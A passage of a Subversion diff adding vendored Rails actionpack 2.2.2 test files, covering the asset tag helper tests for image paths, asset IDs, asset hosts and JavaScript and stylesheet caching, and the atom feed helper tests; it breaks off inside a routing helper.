+  def test_path_to_image_alias_for_image_path
+    PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_tag
+    ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  uses_mocha 'test image tag with windows behaviour' do
+    def test_image_tag_windows_behaviour
+      old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1"
+      # This simulates the behaviour of File#exist? on windows when testing a file ending in "."
+      # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".")
+      # OS X, linux etc will return false in this case.
+      File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true)
+      assert_equal '<img alt="Rails" src="/images/rails.png?1" />', image_tag('rails.png')
+    ensure
+      if old_asset_id
+        ENV["RAILS_ASSET_ID"] = old_asset_id
+      else
+        ENV.delete("RAILS_ASSET_ID")
+      end
+    end
+  end
+
+  def test_timebased_asset_id
+    expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s
+    assert_equal %(<img alt="Rails" src="/images/rails.png?#{expected_time}" />), image_tag("rails.png")
+  end
+
+  def test_timebased_asset_id_with_relative_url_root
+      ActionController::Base.relative_url_root = "/collaboration/hieraki"
+      expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s
+      assert_equal %(<img alt="Rails" src="#{ActionController::Base.relative_url_root}/images/rails.png?#{expected_time}" />), image_tag("rails.png")
+    ensure
+      ActionController::Base.relative_url_root = ""
+  end
+    
+  def test_should_skip_asset_id_on_complete_url
+    assert_equal %(<img alt="Rails" src="http://www.example.com/rails.png" />), image_tag("http://www.example.com/rails.png")
+  end
+
+  def test_should_use_preset_asset_id
+    ENV["RAILS_ASSET_ID"] = "4500"
+    assert_equal %(<img alt="Rails" src="/images/rails.png?4500" />), image_tag("rails.png")
+  end
+
+  def test_preset_empty_asset_id
+    ENV["RAILS_ASSET_ID"] = ""
+    assert_equal %(<img alt="Rails" src="/images/rails.png" />), image_tag("rails.png")
+  end
+
+  def test_should_not_modify_source_string
+    source = '/images/rails.png'
+    copy = source.dup
+    image_tag(source)
+    assert_equal copy, source
+  end
+
+  def test_caching_javascript_include_tag_when_caching_on
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.asset_host = 'http://a0.example.com'
+    ActionController::Base.perform_caching = true
+
+    assert_dom_equal(
+      %(<script src="http://a0.example.com/javascripts/all.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => true)
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+
+    assert_dom_equal(
+      %(<script src="http://a0.example.com/javascripts/money.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+  end
+
+  def test_caching_javascript_include_tag_when_caching_on_with_proc_asset_host
+    ENV['RAILS_ASSET_ID'] = ''
+    ActionController::Base.asset_host = Proc.new { |source| "http://a#{source.length}.example.com" }
+    ActionController::Base.perform_caching = true
+
+    assert_equal '/javascripts/scripts.js'.length, 23
+    assert_dom_equal(
+      %(<script src="http://a23.example.com/javascripts/scripts.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => 'scripts')
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'scripts.js'))
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'scripts.js'))
+  end
+
+  def test_caching_javascript_include_tag_when_caching_on_with_2_argument_proc_asset_host
+    ENV['RAILS_ASSET_ID'] = ''
+    ActionController::Base.asset_host = Proc.new { |source, request|
+      if request.ssl?
+        "#{request.protocol}#{request.host_with_port}"
+      else
+        "#{request.protocol}assets#{source.length}.example.com"
+      end
+    }
+    ActionController::Base.perform_caching = true
+
+    assert_equal '/javascripts/vanilla.js'.length, 23
+    assert_dom_equal(
+      %(<script src="http://assets23.example.com/javascripts/vanilla.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => 'vanilla')
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
+
+    class << @controller.request
+      def protocol() 'https://' end
+      def ssl?() true end
+    end
+
+    assert_equal '/javascripts/secure.js'.length, 22
+    assert_dom_equal(
+      %(<script src="https://localhost/javascripts/secure.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => 'secure')
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
+  end
+
+  def test_caching_javascript_include_tag_when_caching_on_and_using_subdirectory
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.asset_host = 'http://a%d.example.com'
+    ActionController::Base.perform_caching = true
+
+    hash = '/javascripts/cache/money.js'.hash % 4
+    assert_dom_equal(
+      %(<script src="http://a#{hash}.example.com/javascripts/cache/money.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "cache/money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'cache', 'money.js'))
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'cache', 'money.js'))
+  end
+
+  def test_caching_javascript_include_tag_with_all_and_recursive_puts_defaults_at_the_start_of_the_file
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.asset_host = 'http://a0.example.com'
+    ActionController::Base.perform_caching = true
+
+    assert_dom_equal(
+      %(<script src="http://a0.example.com/javascripts/combined.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "combined", :recursive => true)
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
+
+    assert_equal(
+      %(// prototype js\n\n// effects js\n\n// dragdrop js\n\n// controls js\n\n// application js\n\n// bank js\n\n// robber js\n\n// subdir js\n\n\n// version.1.0 js),
+      IO.read(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
+    )
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
+  end
+
+  def test_caching_javascript_include_tag_with_all_puts_defaults_at_the_start_of_the_file
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.asset_host = 'http://a0.example.com'
+    ActionController::Base.perform_caching = true
+
+    assert_dom_equal(
+      %(<script src="http://a0.example.com/javascripts/combined.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "combined")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
+
+    assert_equal(
+      %(// prototype js\n\n// effects js\n\n// dragdrop js\n\n// controls js\n\n// application js\n\n// bank js\n\n// robber js\n\n// version.1.0 js),
+      IO.read(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
+    )
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
+  end
+
+  def test_caching_javascript_include_tag_with_relative_url_root
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.relative_url_root = "/collaboration/hieraki"
+    ActionController::Base.perform_caching = true
+
+    assert_dom_equal(
+      %(<script src="/collaboration/hieraki/javascripts/all.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => true)
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+
+    assert_dom_equal(
+      %(<script src="/collaboration/hieraki/javascripts/money.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+
+  ensure
+    ActionController::Base.relative_url_root = nil
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+  end
+
+  def test_caching_javascript_include_tag_when_caching_off
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.perform_caching = false
+
+    assert_dom_equal(
+      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => true)
+    )
+
+    assert_dom_equal(
+      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => true, :recursive => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+
+    assert_dom_equal(
+      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "money")
+    )
+
+    assert_dom_equal(
+      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "money", :recursive => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+  end
+
+  def test_caching_stylesheet_link_tag_when_caching_on
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.asset_host = 'http://a0.example.com'
+    ActionController::Base.perform_caching = true
+
+    assert_dom_equal(
+      %(<link href="http://a0.example.com/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => true)
+    )
+
+    expected = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/*.css"].map { |p| File.mtime(p) }.max
+    assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+
+    assert_dom_equal(
+      %(<link href="http://a0.example.com/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  end
+
+  def test_caching_stylesheet_link_tag_when_caching_on_with_proc_asset_host
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.asset_host = Proc.new { |source| "http://a#{source.length}.example.com" }
+    ActionController::Base.perform_caching = true
+
+    assert_equal '/stylesheets/styles.css'.length, 23
+    assert_dom_equal(
+      %(<link href="http://a23.example.com/stylesheets/styles.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => 'styles')
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'styles.css'))
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'styles.css'))
+  end
+
+  def test_caching_stylesheet_link_tag_with_relative_url_root
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.relative_url_root = "/collaboration/hieraki"
+    ActionController::Base.perform_caching = true
+
+    assert_dom_equal(
+      %(<link href="/collaboration/hieraki/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => true)
+    )
+
+    expected = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/*.css"].map { |p| File.mtime(p) }.max
+    assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+
+    assert_dom_equal(
+      %(<link href="/collaboration/hieraki/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  ensure
+    ActionController::Base.relative_url_root = nil
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  end
+
+  def test_caching_stylesheet_include_tag_when_caching_off
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionController::Base.perform_caching = false
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => true)
+    )
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => true, :recursive => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => "money")
+    )
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => "money", :recursive => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  end
+end
+
+class AssetTagHelperNonVhostTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  def setup
+    ActionController::Base.relative_url_root = "/collaboration/hieraki"
+
+    @controller = Class.new do
+      attr_accessor :request
+
+      def url_for(options)
+        "http://www.example.com/collaboration/hieraki"
+      end
+    end.new
+
+    @request = Class.new do
+      def protocol
+        'gopher://'
+      end
+    end.new
+
+    @controller.request = @request
+
+    ActionView::Helpers::AssetTagHelper::reset_javascript_include_default
+  end
+
+  def teardown
+    ActionController::Base.relative_url_root = nil
+  end
+
+  def test_should_compute_proper_path
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='/collaboration/hieraki/images/mouse.png'" src="/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
+    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='/collaboration/hieraki/images/mouse2.png'" src="/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
+  end
+
+  def test_should_ignore_relative_root_path_on_complete_url
+    assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
+  end
+
+  def test_should_compute_proper_path_with_asset_host
+    ActionController::Base.asset_host = "http://assets.example.com"
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='http://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='http://assets.example.com/collaboration/hieraki/images/mouse.png'" src="http://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
+    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='http://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='http://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="http://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
+  ensure
+    ActionController::Base.asset_host = ""
+  end
+
+  def test_should_ignore_asset_host_on_complete_url
+    ActionController::Base.asset_host = "http://assets.example.com"
+    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+  ensure
+    ActionController::Base.asset_host = ""
+  end
+
+  def test_should_wildcard_asset_host_between_zero_and_four
+    ActionController::Base.asset_host = 'http://a%d.example.com'
+    assert_match %r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png')
+  ensure
+    ActionController::Base.asset_host = nil
+  end
+
+  def test_asset_host_without_protocol_should_use_request_protocol
+    ActionController::Base.asset_host = 'a.example.com'
+    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
+  ensure
+    ActionController::Base.asset_host = nil
+  end
+
+  def test_asset_host_without_protocol_should_use_request_protocol_even_if_path_present
+    ActionController::Base.asset_host = 'a.example.com/files/go/here'
+    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
+  ensure
+    ActionController::Base.asset_host = nil
+  end
+
+  def test_assert_css_and_js_of_the_same_name_return_correct_extension
+    assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
+    assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/atom_feed_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/atom_feed_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/atom_feed_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,288 @@
+require 'abstract_unit'
+
+Scroll = Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at)
+
+class ScrollsController < ActionController::Base
+  FEEDS = {}
+  FEEDS["defaults"] = <<-EOT
+        atom_feed(:schema_date => '2008') do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+    FEEDS["entry_options"] = <<-EOT
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+    FEEDS["xml_block"] = <<-EOT
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          feed.author do |author|
+            author.name("DHH")
+          end
+
+          for scroll in @scrolls
+            feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+            end
+          end
+        end
+    EOT
+    FEEDS["feed_with_atomPub_namespace"] = <<-EOT
+        atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+                 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+              entry.tag!('app:edited', Time.now)
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+    FEEDS["feed_with_overridden_ids"] = <<-EOT
+        atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+              entry.tag!('app:edited', Time.now)
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
+        atom_feed(:schema_date => '2008',
+          :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
+        atom_feed(:schema_date => '2008',
+          :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+    FEEDS["feed_with_xhtml_content"] = <<-'EOT'
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          for scroll in @scrolls
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.summary(:type => 'xhtml') do |xhtml|
+                xhtml.p "before #{scroll.id}"
+                xhtml.p {xhtml << scroll.body}
+                xhtml.p "after #{scroll.id}"
+              end
+              entry.tag!('app:edited', Time.now)
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  def index
+    @scrolls = [
+      Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
+      Scroll.new(2, "2", "Hello Two", "Something Boring", Time.utc(2007, 12, 12, 15)),
+    ]
+
+    render :inline => FEEDS[params[:id]], :type => :builder
+  end
+
+  protected
+
+  def rescue_action(e)
+    raise(e)
+  end
+end
+
+class AtomFeedTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = ScrollsController.new
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_feed_should_use_default_language_if_none_is_given
+    with_restful_routing(:scrolls) do
+      get :index, :id => "defaults"
+      assert_match %r{xml:lang="en-US"}, @response.body
+    end
+  end
+
+  def test_feed_should_include_two_entries
+    with_restful_routing(:scrolls) do
+      get :index, :id => "defaults"
+      assert_select "entry", 2
+    end
+  end
+
+  def test_entry_should_only_use_published_if_created_at_is_present
+    with_restful_routing(:scrolls) do
+      get :index, :id => "defaults"
+      assert_select "published", 1
+    end
+  end
+
+  def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
+    with_restful_routing(:scrolls) do
+      get :index, :id => "entry_options"
+
+      assert_select "updated", Time.utc(2007, 1, 1).xmlschema
+      assert_select "updated", Time.utc(2007, 1, 2).xmlschema
+    end
+  end
+
+  def test_self_url_should_default_to_current_request_url
+    with_restful_routing(:scrolls) do
+      get :index, :id => "defaults"
+      assert_select "link[rel=self][href=http://www.nextangle.com/scrolls?id=defaults]"
+    end
+  end
+
+  def test_feed_id_should_be_a_valid_tag
+    with_restful_routing(:scrolls) do
+      get :index, :id => "defaults"
+      assert_select "id", :text => "tag:www.nextangle.com,2008:/scrolls?id=defaults"
+    end
+  end
+
+  def test_entry_id_should_be_a_valid_tag
+    with_restful_routing(:scrolls) do
+      get :index, :id => "defaults"
+      assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/1"
+      assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/2"
+    end
+  end
+
+  def test_feed_should_allow_nested_xml_blocks
+    with_restful_routing(:scrolls) do
+      get :index, :id => "xml_block"
+      assert_select "author name", :text => "DHH"
+    end
+  end
+
+  def test_feed_should_include_atomPub_namespace
+    with_restful_routing(:scrolls) do
+      get :index, :id => "feed_with_atomPub_namespace"
+      assert_match %r{xml:lang="en-US"}, @response.body
+      assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
+      assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
+    end
+  end
+
+  def test_feed_should_allow_overriding_ids
+    with_restful_routing(:scrolls) do
+      get :index, :id => "feed_with_overridden_ids"
+      assert_select "id", :text => "tag:test.rubyonrails.org,2008:test/"
+      assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:1"
+      assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:2"
+    end
+  end
+
+  def test_feed_xml_processing_instructions
+    with_restful_routing(:scrolls) do
+      get :index, :id => 'feed_with_xml_processing_instructions'
+      assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
+      assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
+    end
+  end
+
+  def test_feed_xml_processing_instructions_duplicate_targets
+    with_restful_routing(:scrolls) do
+      get :index, :id => 'feed_with_xml_processing_instructions_duplicate_targets'
+      assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
+      assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
+    end
+  end
+
+  def test_feed_xhtml
+    with_restful_routing(:scrolls) do
+      get :index, :id => "feed_with_xhtml_content"
+      assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
+      assert_select "summary div p", :text => "Something Boring"
+      assert_select "summary div p", :text => "after 2"
+    end
+  end
+private
+    def with_restful_routing(resources)
+      with_routing do |set|
+        set.draw do |map|
+          map.resources(resources)
+        end
